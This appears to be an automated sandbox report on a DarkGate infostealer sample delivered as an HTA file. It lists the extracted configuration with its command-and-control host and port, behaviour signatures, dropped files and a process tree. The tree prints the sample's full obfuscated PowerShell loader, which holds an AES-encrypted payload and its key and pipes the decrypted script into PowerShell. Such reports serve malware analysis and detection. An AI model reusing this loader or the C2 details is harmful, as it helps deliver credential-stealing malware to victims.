Analysis

  • max time kernel
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • submitted
    05/02/2024, 14:07

General

  • Target
    05022024_2208_chache.hta
  • Size 73KB
  • Sample240205-rfekmabeap
  • SHA256 4644c5cfe036b53190d6f36a2d9e3067ea05622481092ab05b55e5754e89ba2e
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • darkgate

Botnet
  • xiputin1

C2
  • bizabiza.mywire.org

Attributes
  • anti_analysis

    false

  • anti_debug

    false

  • anti_vm

    false

  • c2_port

    8094

  • check_disk

    false

  • check_ram

    false

  • check_xeon

    false

  • crypter_au3

    false

  • crypter_dll

    false

  • crypter_raw_stub

    false

  • internal_mutex

    IXVIPUIJ

  • minimum_disk

    100

  • minimum_ram

    4096

  • ping_interval

    6

  • rootkit

    false

  • startup_persistence

    true

  • username

    xiputin1

Extracted

Family
  • darkgate

Version
  • 6.1.7

Botnet
  • xiputin1

C2
  • bizabiza.mywire.org

Attributes
  • anti_analysis

    false

  • anti_debug

    false

  • anti_vm

    false

  • c2_port

    8094

  • check_disk

    false

  • check_ram

    false

  • check_xeon

    false

  • crypter_au3

    false

  • crypter_dll

    false

  • crypter_raw_stub

    false

  • internal_mutex

    IXVIPUIJ

  • minimum_disk

    100

  • minimum_ram

    4096

  • ping_interval

    6

  • rootkit

    false

  • startup_persistence

    true

  • username

    xiputin1

Signatures

  • DarkGate

    DarkGate is an infostealer written in C++.

  • Darkgate family
  • Detect DarkGate stealer 39 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Uses the VBS compiler for execution 1 TTPs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Command and Scripting Interpreter: AutoIT 1 TTPs 1 IoCs

    Using AutoIT for possible automate script.

  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 16 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 19 IoCs

Processes

  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:1368
      • \??\c:\windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
        c:\windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
        2⤵
        • Checks processor information in registry
        • Suspicious behavior: EnumeratesProcesses
        PID:1756
    • C:\Windows\SysWOW64\mshta.exe
      C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\05022024_2208_chache.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
      1⤵
      • Checks computer location settings
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3084
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $dosMCx = 'AAAAAAAAAAAAAAAAAAAAAJYy7XorWRa+qK18RLz3MACGVTIKVi/vdrN09kdAQH00Qn4s73pwYVuBD2RlZ1yXsBP2ZxjZgKK/f4r1gG0lS02I0qv+m8d422KPqJ+ltFIsCuPgS/xI2dwtPWMDLkdI20Clkwx5VZyCFeOdH1WIsbv4p1Pe5oFoOX9SyRVx90GHDHAA6DOeyMLE1xh8FCdnRUmpO6pBu7tBB9mA7hnCpklMO7II8c3/daXyugSWq1OjNU3R80IJUqfS8ek34F32k6+DOj1fUxbhf9jqZVuLdF42WOptJK4papSQRTb48+4bFSeQTg1k8LZW20JyRbP/sxjr2hR7P5xKHKtRblEXhPPLEi68IdKGwwR9ywLokeSsn23HO4dEG2ZFMmr2TvuFwIbegWNFyKDBw0iBOQqPsXcQ1LL9yl8GaRfBh7tDXOckFCpMVnQ4ZsNnsdroqz3o2qnFXhaqDoMzArWJzbl1F3yOpWkdxlqcl9mKAKjaRmxYH8xSBxHIGo0glG/WiHuMovynOXcXXh9Hh7tvnfR4Z8XcJbOBdduaGZzQgfOJcjQPkbl99gxEPCpR+AFkEc5QhNTRMOOk3POJ7cPD6VkHYYHY6uJAbx8QOEPph0d7YPQ/FKdxkI/tfMm9ah2acL21+COso6YMbzzmykNdOlzml25gmgBX1ZkUKiJRlMYFulkcxFFVnrPvMRifQ1U/9wilMy/LGTvskHqwq23XICS7ROV4UVcFqA6zkopDdFR24NHk1DdpeJRgjBoP/dv/MDa0XJseW+cJYLSL7C4vwoTde/9CiMwx1U0MhCOTXMDjZFPmUUSfRQlLhEOx43ZcB5KqA+H4G7/aBt14HuhutzT6KwXTjp9E0uH4aXQhDtH6mpJmhGuTGJG3Dq8uri8LoJlYdZsDaDoTotWCBSNieE50OA/wpX1q3h0N/trtKG5rCUYFzP/edxhrB7ecD9u265tHsHZNqhnsB/2r9mF+Nwvk080HbCYZzby2UZiApH8R0Gi7';$fZlRFWv = 'dnZWQ2RTQlpYQVZGV3NUUEhKSGhhYmhuS3hJUVVoZVk=';$KgUYArj = New-Object 'System.Security.Cryptography.AesManaged';$KgUYArj.Mode = [System.Security.Cryptography.CipherMode]::ECB;$KgUYArj.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$KgUYArj.BlockSize = 128;$KgUYArj.KeySize = 256;$KgUYArj.Key = [System.Convert]::FromBase64String($fZlRFWv);$iHuNw = [System.Convert]::FromBase64String($dosMCx);$uIavcLcj = $iHuNw[0..15];$KgUYArj.IV = $uIavcLcj;$ZLmvFdAFX = $KgUYArj.CreateDecryptor();$dcDqIMMEQ = $ZLmvFdAFX.TransformFinalBlock($iHuNw, 16, $iHuNw.Length - 16);$KgUYArj.Dispose();$UOwkrU = New-Object System.IO.MemoryStream( , $dcDqIMMEQ );$wzZeKR = New-Object System.IO.MemoryStream;$lUYoKGCdC = New-Object System.IO.Compression.GzipStream $UOwkrU, ([IO.Compression.CompressionMode]::Decompress);$lUYoKGCdC.CopyTo( $wzZeKR );$lUYoKGCdC.Close();$UOwkrU.Close();[byte[]] $SKbxu = $wzZeKR.ToArray();$Yotlw = [System.Text.Encoding]::UTF8.GetString($SKbxu);$Yotlw | powershell -
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2496
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -
          3⤵
          • Blocklisted process makes network request
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4948
          • C:\Users\Admin\AppData\Roaming\Autoit3.exe
            "C:\Users\Admin\AppData\Roaming\Autoit3.exe" C:\Users\Admin\AppData\Roaming\script.au3
            4⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Command and Scripting Interpreter: AutoIT
            • Suspicious use of SetThreadContext
            • System Location Discovery: System Language Discovery
            • Checks processor information in registry
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:3992
    • C:\Windows\System32\mousocoreworker.exe
      C:\Windows\System32\mousocoreworker.exe -Embedding
      1⤵
        PID:780
        • \??\c:\windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
          c:\windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
          2⤵
          • Suspicious use of NtCreateUserProcessOtherParentProcess
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Checks processor information in registry
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: GetForegroundWindowSpam
          • Suspicious use of WriteProcessMemory
          PID:2108

      Network

            MITRE ATT&CK Enterprise v15

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            Downloads

            ceaekah

            • Path C:\ProgramData\hdckacf\ceaekah
            • Size 1KB
            • SHA256 1fc8700133632b430753e50cc7a13273f7e70cbabc942c7f1764b43a65895447
            • MD5 SHA1 SHA512

            powershell.exe.log

            • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
            • Size 2KB
            • SHA256 c53094f79b260343ba1efa7d8e62dfa6ab8cf275f947e4eb6bec200228342efb
            • MD5 SHA1 SHA512

            __PSScriptPolicyTest_t32limny.geh.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_t32limny.geh.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512

            Autoit3.exe

            • Path C:\Users\Admin\AppData\Roaming\Autoit3.exe
            • Size 872KB
            • SHA256 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
            • MD5 SHA1 SHA512 SSDEEP

            cFCfcdF

            • Path C:\Users\Admin\AppData\Roaming\cFCfcdF
            • Size 32B
            • SHA256 56ebf37acbfbc200719bb6e58fa0afcd708c7db7e93dffbb9d6c1cfe61804c24
            • MD5 SHA1 SHA512

            script.au3

            • Path C:\Users\Admin\AppData\Roaming\script.au3
            • Size 574KB
            • SHA256 2d5bcc28a41a40b29819b33938f93a9cc6f52133f8bd9af932b29598f5cb69e1
            • MD5 SHA1 SHA512 SSDEEP

            test.txt

            • Path C:\Users\Admin\AppData\Roaming\test.txt
            • Size 76B
            • SHA256 5b23276f3bf0fe8087296a5bc05e10e951c1c9ed75167e322b880eb0294186de
            • MD5 SHA1 SHA512

            cc.txt

            • Path C:\temp\cc.txt
            • Size 4B
            • SHA256 ac21c6b07de3e558e1d77e85a8a225a7e6c79c59ba464414a5c3dd2f7a89c6c3
            • MD5 SHA1 SHA512

            fs.txt

            • Path C:\temp\fs.txt
            • Size 4B
            • SHA256 a987d6b557a754c83f363a26e22175c1d7f108e4fb7cc3ef47d979885c47ac08
            • MD5 SHA1 SHA512

            memory/1756-149-0x0000000000400000-0x0000000000470000-memory.dmp

            memory/1756-130-0x0000000000400000-0x0000000000470000-memory.dmp

            memory/1756-139-0x0000000000400000-0x0000000000470000-memory.dmp

            memory/1756-137-0x0000000000400000-0x0000000000470000-memory.dmp

            memory/1756-134-0x0000000000400000-0x0000000000470000-memory.dmp

            memory/1756-132-0x0000000000400000-0x0000000000470000-memory.dmp

            memory/1756-143-0x0000000000400000-0x0000000000470000-memory.dmp

            memory/1756-141-0x0000000000400000-0x0000000000470000-memory.dmp

            memory/1756-145-0x0000000000400000-0x0000000000470000-memory.dmp

            memory/1756-147-0x0000000000400000-0x0000000000470000-memory.dmp

            memory/1756-151-0x0000000000400000-0x0000000000470000-memory.dmp

            memory/1756-153-0x0000000000400000-0x0000000000470000-memory.dmp

            memory/1756-155-0x0000000000400000-0x0000000000470000-memory.dmp

            memory/1756-157-0x0000000000400000-0x0000000000470000-memory.dmp

            memory/2108-135-0x0000000000400000-0x0000000000470000-memory.dmp

            memory/2108-142-0x0000000000400000-0x0000000000470000-memory.dmp

            memory/2108-158-0x0000000000400000-0x0000000000470000-memory.dmp

            memory/2108-156-0x0000000000400000-0x0000000000470000-memory.dmp

            memory/2108-154-0x0000000000400000-0x0000000000470000-memory.dmp

            memory/2108-152-0x0000000000400000-0x0000000000470000-memory.dmp

            memory/2108-150-0x0000000000400000-0x0000000000470000-memory.dmp

            memory/2108-148-0x0000000000400000-0x0000000000470000-memory.dmp

            memory/2108-146-0x0000000000400000-0x0000000000470000-memory.dmp

            memory/2108-144-0x0000000000400000-0x0000000000470000-memory.dmp

            memory/2108-140-0x0000000000400000-0x0000000000470000-memory.dmp

            memory/2108-138-0x0000000000400000-0x0000000000470000-memory.dmp

            memory/2108-136-0x0000000000400000-0x0000000000470000-memory.dmp

            memory/2108-133-0x0000000000400000-0x0000000000470000-memory.dmp

            memory/2108-126-0x0000000000400000-0x0000000000470000-memory.dmp

            memory/2108-129-0x0000000000400000-0x0000000000470000-memory.dmp

            memory/2108-128-0x0000000000400000-0x0000000000470000-memory.dmp

            memory/2108-124-0x0000000000400000-0x0000000000470000-memory.dmp

            memory/2108-122-0x0000000000400000-0x0000000000470000-memory.dmp

            memory/2108-114-0x0000000000400000-0x0000000000470000-memory.dmp

            memory/2108-113-0x0000000000400000-0x0000000000470000-memory.dmp

            memory/2108-112-0x0000000000400000-0x0000000000470000-memory.dmp

            memory/2108-111-0x0000000000400000-0x0000000000470000-memory.dmp

            memory/2496-5-0x00000000056A0000-0x00000000056C2000-memory.dmp

            memory/2496-7-0x0000000006070000-0x00000000060D6000-memory.dmp

            memory/2496-100-0x0000000070B00000-0x00000000712B0000-memory.dmp

            memory/2496-6-0x0000000005F90000-0x0000000005FF6000-memory.dmp

            memory/2496-1-0x00000000050C0000-0x00000000050F6000-memory.dmp

            memory/2496-3-0x0000000003020000-0x0000000003030000-memory.dmp

            memory/2496-4-0x0000000005730000-0x0000000005D58000-memory.dmp

            memory/2496-0-0x0000000070B00000-0x00000000712B0000-memory.dmp

            memory/2496-22-0x0000000006BC0000-0x0000000006BDA000-memory.dmp

            memory/2496-21-0x0000000007DD0000-0x000000000844A000-memory.dmp

            memory/2496-2-0x0000000003020000-0x0000000003030000-memory.dmp

            memory/2496-20-0x0000000003020000-0x0000000003030000-memory.dmp

            memory/2496-17-0x0000000006280000-0x00000000065D4000-memory.dmp

            memory/2496-41-0x0000000070B00000-0x00000000712B0000-memory.dmp

            memory/2496-18-0x0000000006680000-0x000000000669E000-memory.dmp

            memory/2496-19-0x00000000066D0000-0x000000000671C000-memory.dmp

            memory/3992-102-0x00000000049E0000-0x00000000059B0000-memory.dmp

            memory/3992-104-0x0000000006080000-0x00000000063CE000-memory.dmp

            memory/3992-117-0x0000000006080000-0x00000000063CE000-memory.dmp

            memory/4948-40-0x0000000008B00000-0x00000000090A4000-memory.dmp

            memory/4948-25-0x0000000005060000-0x0000000005070000-memory.dmp

            memory/4948-69-0x000000006D500000-0x000000006D854000-memory.dmp

            memory/4948-23-0x0000000070B00000-0x00000000712B0000-memory.dmp

            memory/4948-61-0x00000000085A0000-0x00000000085AA000-memory.dmp

            memory/4948-80-0x0000000008630000-0x0000000008644000-memory.dmp

            memory/4948-60-0x00000000085C0000-0x00000000085D2000-memory.dmp

            memory/4948-24-0x0000000005060000-0x0000000005070000-memory.dmp

            memory/4948-81-0x0000000008680000-0x000000000869A000-memory.dmp

            memory/4948-82-0x00000000086C0000-0x00000000086C8000-memory.dmp

            memory/4948-59-0x0000000008580000-0x0000000008591000-memory.dmp

            memory/4948-39-0x00000000079A0000-0x00000000079C2000-memory.dmp

            memory/4948-58-0x0000000008550000-0x000000000855A000-memory.dmp

            memory/4948-79-0x0000000008620000-0x000000000862E000-memory.dmp

            memory/4948-46-0x000000006D500000-0x000000006D854000-memory.dmp

            memory/4948-35-0x0000000007690000-0x00000000076D4000-memory.dmp

            memory/4948-57-0x0000000007DD0000-0x0000000007E73000-memory.dmp

            memory/4948-96-0x0000000070B00000-0x00000000712B0000-memory.dmp

            memory/4948-56-0x0000000007D70000-0x0000000007D8E000-memory.dmp

            memory/4948-36-0x00000000077D0000-0x0000000007846000-memory.dmp

            memory/4948-45-0x000000006D3A0000-0x000000006D3EC000-memory.dmp

            memory/4948-38-0x0000000007A80000-0x0000000007B16000-memory.dmp

            memory/4948-43-0x000000007FA10000-0x000000007FA20000-memory.dmp

            memory/4948-37-0x0000000005060000-0x0000000005070000-memory.dmp

            memory/4948-44-0x0000000007D90000-0x0000000007DC2000-memory.dmp